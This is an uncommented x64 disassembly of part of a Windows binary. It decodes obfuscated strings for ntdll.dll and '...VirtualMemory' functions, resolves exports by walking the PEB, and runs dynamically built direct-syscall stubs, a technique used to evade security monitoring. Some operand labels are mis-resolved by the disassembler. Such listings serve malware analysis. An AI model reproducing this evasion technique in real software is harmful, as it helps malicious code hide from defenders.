mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x48f], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x490], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x491], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x492], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x493], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x61
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x494], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x495], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x4d
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x496], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x497], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x498], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x499], al
mov r9d, edi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x49a], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x79
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x49b], al
xor eax, eax
mov byte [rbp + 0x49c], al
mov esi, eax
lea r13d, [rdi - 0x12]
mov r9, rdi
mov r8, rsi
mov dl, byte [rbp + rsi + 0x489]
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + rsi + 0x489], al
add rsi, r13
cmp rsi, rdi
jb 0x140038405
xor esi, esi
mov byte [rbp + 0x49c], sil
mov byte [rbp + 0x128], 0x78
lea r15d, [rsi + 9]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x128]
call fcn.140042908
mov byte [rbp + 0x129], al
mov r9d, r15d
mov rbx, r13
mov r8, r13
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x128]
call fcn.140042908
mov byte [rbp + 0x12a], al
mov r9d, r15d
lea r8d, [rsi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x128]
call fcn.140042908
mov byte [rbp + 0x12b], al
mov r9d, r15d
lea r8d, [rsi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x128]
call fcn.140042908
mov byte [rbp + 0x12c], al
mov r9d, r15d
lea r8d, [rsi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x128]
call fcn.140042908
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_301], al
mov r9d, r15d
lea r8d, [rsi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x128]
call fcn.140042908
mov byte [rbp + 0x12e], al
mov r9d, r15d
lea r8d, [rsi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x128]
call fcn.140042908
mov byte [rbp + 0x12f], al
mov r9d, r15d
lea r8d, [rsi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x128]
call fcn.140042908
mov byte [rbp + 0x130], al
mov r9d, r15d
lea r8d, [rsi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x128]
call fcn.140042908
mov byte [rbp + 0x131], al
xor eax, eax
mov byte [rbp + 0x132], al
mov r15d, esi
lea esi, [rax + 0x14]
lea r13d, [r15 + 0x10]
mov r9d, 9
mov r8, r15
mov dl, byte [rbp + r15 + 0x129]
lea rcx, [rbp + 0x128]
call fcn.140042908
mov byte [rbp + r15 + 0x129], al
add r15, rbx
cmp r15, 9
jb 0x140038547
xor ecx, ecx
mov byte [rbp + 0x132], cl
mov rax, qword gs:[0x60]
test rax, rax
lea ebx, [rcx + 0x11]
lea r15d, [rcx + 0x17]
je 0x140038b28
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14003861f
lea r12d, [rax + 1]
mov r10d, r12d
mov r15, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x1400385f0
mov r15d, reloc.WS2_32.dll_socket
lea r12d, [r15 + 9]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14003867b
mov rax, rcx
lea r9, [rbp + 0x129]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140038674
add rax, r11
test edx, edx
jne 0x14003865f
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x1400388e8
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x70]
jne 0x1400385a6
jmp 0x140038b23
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1400381d7
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400381d7
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400381d7
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400381d7
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x1400381d7
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x5a9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140038734
inc rax
test edi, edi
jne 0x14003871f
xor r9d, r9d
test r8d, r8d
je 0x14003874a
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14003870e
jmp 0x1400381d7
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400381d7
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400381d7
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.1400a18a0
or dword [rbp + 0x20c94], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1f910]
call fcn.1400437d4
lea rcx, [rbp + 0x1f910]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x1f910]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x3a490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x1400387ef
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x3a490]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe18], eax
lea r9, [rbp + 0xe18]
mov r8d, r12d
mov edx, ebx
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x218]
mov r8, qword [rbp - 0x80]
mov rdx, qword [rbp + 0xbd0]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe18]
mov r8d, dword [rbp + 0xe18]
mov edx, ebx
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
lea ebx, [rax + 0x11]
jmp 0x1400381db
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140038b23
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140038b23
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140038b23
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140038b23
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140038b23
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x489]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003897a
inc rax
test edi, edi
jne 0x140038965
xor edi, edi
test r8d, r8d
je 0x14003898f
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140038954
jmp 0x140038b23
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140038b23
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140038b23
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.1400a18a0
or dword [rbp + 0x22024], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x20ca0]
call fcn.1400437d4
lea rcx, [rbp + 0x20ca0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x20ca0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x3b490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x140038a33
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x3b490]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe8c], eax
lea r9, [rbp + 0xe8c]
mov r8d, r12d
mov edx, r13d
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xcf0]
lea rdx, [rbp + 0xd00]
mov rcx, qword [rbp - 0x20]
call rdi
lea r9, [rbp + 0xe8c]
mov r8d, dword [rbp + 0xe8c]
mov edx, r13d
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
lea r13d, [rax + 0x10]
mov edi, reloc.WS2_32.dll_send
mov ecx, 0x1000
mov qword [rbp + 0xce8], rcx
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xd08], rax
call fcn.1400a1b84
mov qword [rbp - 0x80], rax
mov r8, qword [rbp + 0xce8]
xor edx, edx
mov rcx, rax
call fcn.1400c97b0
mov rax, qword [rbp + 0xce8]
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0xd08]
mov qword [rbp - 0x48], rax
mov byte [rbp + 0x578], Ordinal_50
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x579], al
mov r9, rsi
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x57a], al
mov r9, rsi
lea r8d, [r12 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x57b], al
mov r9, rsi
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x57c], al
mov r9, rsi
lea r8d, [r12 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x57d], al
mov r9, rsi
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x57e], al
mov r9, rsi
lea r8d, [r12 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x57f], al
mov r9, rsi
lea r8d, [r12 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x580], al
mov r9, rsi
lea r8d, [r12 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x581], al
mov r9, rsi
lea r8d, [r12 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x582], al
mov r9, rsi
lea r8d, [r12 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x583], al
mov r9, rsi
lea r8d, [r12 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x584], al
mov r9, rsi
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x585], al
mov r9, rsi
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x586], al
mov r9, rsi
lea r8d, [r12 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x587], al
mov r9, rsi
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x588], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x589], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x58a], al
mov r9, rsi
lea r8d, [r12 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x58b], al
mov r9, rsi
mov r8, rdi
mov dl, 0x79
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + 0x58c], al
xor eax, eax
mov byte [rbp + 0x58d], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x579]
lea rcx, [rbp + 0x578]
call fcn.1400430f8
mov byte [rbp + rdi + 0x579], al
add rdi, r12
cmp rdi, rsi
jb 0x140038daf
xor edi, edi
mov byte [rbp + 0x58d], dil
mov byte [rbp + 0x138], 0x51
lea r12d, [rdi + 9]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x138]
call fcn.140042908
mov byte [rbp + 0x139], al
mov r9d, r12d
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x138]
call fcn.140042908
mov byte [rbp + 0x13a], al
mov r9d, r12d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x138]
call fcn.140042908
mov byte [rbp + 0x13b], al
mov r9d, r12d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x138]
call fcn.140042908
mov byte [rbp + 0x13c], al
mov r9d, r12d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x138]
call fcn.140042908
mov byte [rbp + 0x13d], al
mov r9d, r12d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x138]
call fcn.140042908
mov byte [rbp + 0x13e], al
mov r9d, r12d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x138]
call fcn.140042908
mov byte [rbp + 0x13f], al
mov r9d, r12d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x138]
call fcn.140042908
mov byte [rbp + 0x140], al
mov r9d, r12d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x138]
call fcn.140042908
mov byte [rbp + 0x141], al
xor eax, eax
mov byte [rbp + 0x142], al
lea r12d, [rdi + 0x20]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x139]
lea rcx, [rbp + 0x138]
call fcn.140042908
mov byte [rbp + rdi + 0x139], al
add rdi, rbx
cmp rdi, 9
jb 0x140038eeb
xor edi, edi
mov byte [rbp + 0x142], dil
mov rax, qword gs:[0x60]
test rax, rax
lea ebx, [rdi + 0x11]
je 0x140039039
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x78], edi
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140038fb8
lea esi, [rax + 1]
mov r10d, esi
mov r15, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x140038f8a
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi + 3]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140039014
mov rax, rcx
lea r9, [rbp + 0x139]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003900d
add rax, r11
test edx, edx
jne 0x140038ff8
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x1400394f8
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
xor edi, edi
cmp rax, qword [rbp - 0x70]
jne 0x140038f45
mov dword [rbp - 0x68], edi
mov rcx, qword [rbp - 0x80]
call fcn.1400a1900
cmp dword [rbp - 0x68], edi
jl 0x140039978
mov byte [rbp + 0x4d0], 0x65
mov edi, reloc.WS2_32.dll_send
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4d1], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4d2], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x46
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4d3], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4d4], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4d5], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4d6], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4d7], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4d8], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4d9], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4da], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4db], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x61
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4dc], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4dd], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x4d
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4de], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4df], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4e0], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4e1], al
mov r9d, edi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4e2], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x79
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + 0x4e3], al
xor eax, eax
mov byte [rbp + 0x4e4], al
mov r15d, eax
lea ebx, [rdi - 0x12]
mov r9, rdi
mov r8, r15
mov dl, byte [rbp + r15 + 0x4d1]
lea rcx, [rbp + 0x4d0]
call fcn.140043174
mov byte [rbp + r15 + 0x4d1], al
add r15, rbx
cmp r15, rdi
jb 0x140039266
xor edi, edi
mov byte [rbp + 0x4e4], dil
mov byte [rbp + 0x148], 0x78
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x148]
call fcn.140042908
mov byte [rbp + 0x149], al
mov r9d, ebx
lea esi, [rdi + 1]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x148]
call fcn.140042908
mov byte [rbp + 0x14a], al
mov r9d, ebx
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x148]
call fcn.140042908
mov byte [rbp + 0x14b], al
mov r9d, ebx
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x148]
call fcn.140042908
mov byte [rbp + 0x14c], al
mov r9d, ebx
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x148]
call fcn.140042908
mov byte [rbp + 0x14d], al
mov r9d, ebx
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x148]
call fcn.140042908
mov byte [rbp + 0x14e], al
mov r9d, ebx
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x148]
call fcn.140042908
mov byte [rbp + 0x14f], al
mov r9d, ebx
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x148]
call fcn.140042908
mov byte [rbp + 0x150], al
mov r9d, ebx
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x148]
call fcn.140042908
mov byte [rbp + 0x151], al
xor eax, eax
mov byte [rbp + 0x152], al
lea ebx, [rdi + 0x11]
lea r15d, [rdi + 0x17]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x149]
lea rcx, [rbp + 0x148]
call fcn.140042908
mov byte [rbp + rdi + 0x149], al
add rdi, rsi
cmp rdi, 9
jb 0x1400393a6
xor edi, edi
mov byte [rbp + 0x152], dil
mov rax, qword gs:[0x60]
test rax, rax
lea esi, [rdi + 0x14]
je 0x140039978
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x78], edi
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140039472
lea r12d, [rax + 1]
mov r10d, r12d
mov rsi, qword [rsp + 0x68]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x140039446
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi + 0xc]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400394ce
mov rax, rcx
lea r9, [rbp + 0x149]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400394c7
add rax, r11
test edx, edx
jne 0x1400394b2
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x14003973d
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x70]
je 0x140039978
xor edi, edi
jmp 0x140039400
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140039039
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140039039
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140039039
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140039039
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
